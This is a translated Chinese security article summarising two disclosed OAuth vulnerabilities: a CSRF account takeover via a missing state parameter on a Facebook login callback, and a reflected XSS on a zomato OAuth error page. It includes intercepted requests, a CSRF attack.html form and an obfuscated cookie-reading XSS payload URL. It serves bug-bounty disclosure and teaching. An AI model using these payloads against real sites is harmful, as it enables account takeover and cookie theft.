一,Oauth錯誤配置導致的CSRF

大家好,我是Jackson。這是我的第一篇安全漏洞文章,我是在考試複習期間發現的這個漏洞。首先還是要感謝Midhun S給我「提供」的這個站。讓我們開始吧!

偵察

當我一開始滲透測試時,並沒有花太多時間在偵察上,但後來我意識到偵察的重要性,並且通過偵察和一些低級漏洞對Web應用有了更深刻的理解。當我得到一個目標時,我總是先從一些簡單的谷歌搜索開始,瞭解目標使用了什麼Web技術。然後再從aquatone子域爆破工具開始,得到了一些子域,最後再通過一些目錄爆破和漏洞掃描工具來批量測試。

漏洞點

抱歉,夥計們,我現在還不能透露有關公司的名字,所以我們可以稱之為redacted.com。首先,讓我們進行公司門戶網站https://www.redacted.com,該網站看起來很普通,沒有什麼吸引人的地方,於是我進入註冊頁面,圖片如下。

我使用臨時電子郵箱創建了一個帳戶,並成功用這個電子郵箱登錄到我的帳戶。同時,你可以將這個redacted.com帳戶鏈接到facebook或google帳戶。這樣你就可以通過Oauth功能用其他網站的帳戶登錄到redacted.com

什麼是OAuth????

OAuth是一個強大的授權協議,為用戶資源的授權定義了一個開放又簡單的標準。OAuth 2.0更是被(如SaaS平臺)廣泛用於第三方在不接觸你的帳戶信息情況下獲取你的數據。例如,你在Google上的聯繫人列表、Facebook上的好友列表等。

所以當我看到和Oauth相關的頁面時,我打開了burpsuite,並點擊了facebook圖標,將我的redacted帳戶鏈接到facebook帳戶,然後我就截獲瞭如下請求和響應。

第一個請求如下:

GET /v3.1/dialog/oauth?response_type=code&redirect_uri=https%3A%2F%2Fredacted.com%2Fauth%2Ffacebook%2Fcallback&scope=email%2Cpublic_profile&client_id=00000000000 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://redacted.com/profile
Cookie: fr=0rqajcCy4gEh2nJvS.redactedPv2OYVcelE.AWVp7-tG; sb=OQwFXNTRCDFUcookieLIw0; datr=OQwFXBW2scookieSe4q; wd=1366XXXXX657; locale=en_GB; c_u
Connection: close

當我看到這個請求時,我發現它似乎沒有狀態參數,這意味著它可能易受CSRF攻擊。現在,我可以看到一個彈出的Facebook身份驗證頁面。然後我成功地通過了認證,截獲了Facebook的回調請求……而當我看到這個回調請求時,它似乎還是沒有狀態參數,所以就讓我們嘗試下CSRF攻擊吧。請求如下。

GET /auth/facebook/callback?code=AQCXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.facebook.com
Cookie: __cfduid=d27690xxxxxxxxxxxxxxxxxxxxxxxxxxx471; __adroll_fpc=074645xxxxxxxxxxxxxxxxxxxxxxxx2e9; __ar_v4=JYUExxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxf-cb8d-4c87–9bc1–8478a3f6ed68=session_a0xxxxxxxxxxxxxxxxxxb9e6; _fbp=fb.1.154xxxxxxxxx719436
Connection: close

根據以上請求,我創建了一個名為attack.html的CSRF攻擊頁面。

<html>
<body>
<sc ript>history.pushState(『』, 『』, 『/』)</sc ript>
<form action=」https://redacted.com/auth/facebook/callback">
<input type=」hidden」 name=」code」 value=」AxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxY」 />
<input type=」submit」 value=」Submit request」 />
</form>
</body>
</html>

接著我創建了另一個redacted.com帳戶來測試這個漏洞。我在另一個瀏覽器上登錄這個測試帳戶,打開了這個CSRF攻擊頁面,然後單擊提交按鈕……是的!攻擊成功!

我的facebook帳戶成功和受害者的redacted帳戶綁定到一起。

當我註銷測試redacted.com帳戶,並嘗試用我的facebook帳戶再次登錄時,也成功了!所以我可以利用這個CSRF漏洞接管任何受害者帳戶,這是一個因為簡單的Oauth錯誤配置而導致的帳戶接管。

謝謝你的閱讀

二,Oauth過濾不嚴導致的XSS

近期,Hackerone也公佈了一個了Oauth的XSS漏洞,獎金為50美元,其中涉及的網站號稱是印度的大眾點評--zomato,其在2018年還獲得了阿里巴巴的投資。

漏洞域名:auth2.zomato.com

漏洞URL:https://auth2.zomato.com/oauth2/fallbacks/error?error=xss&error_desc ription=xss&error_hint=xss

而且該漏洞URL的所有可用參數都可插入XSS語句

payload:

<marquee loop%3d1 width%3d0 onfinish%3dcou006efirm(document.cookie)>XSS<%2fmarquee>

只需將如下URL複製粘到你的Firefox瀏覽器,你就可以看到一個彈框。

https://auth2.zomato.com/oauth2/fallbacks/error?error=xss&amp;error_description=xsssy&amp;error_hint=%3Cmarquee%20loop%3d1%20width%3d0%20onfinish%3dcou006efirm(document.cookie)%3EXSS%3C%2fmarquee%3E?

auth2.zomato.com

POC:

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場
來源:https://medium.com/@Jacksonkv22/oauth-misconfiguration-lead-to-complete-account-takeover-c8e4e89a96a
https://hackerone.com/reports/456333

來源:兩個Oauth協議相關漏洞細節|NOSEC安全訊息平臺 - NOSEC.ORG

白帽匯從事信息安全,專註於安全大數據、企業威脅情報。

公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平臺。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。


推薦閱讀:
相關文章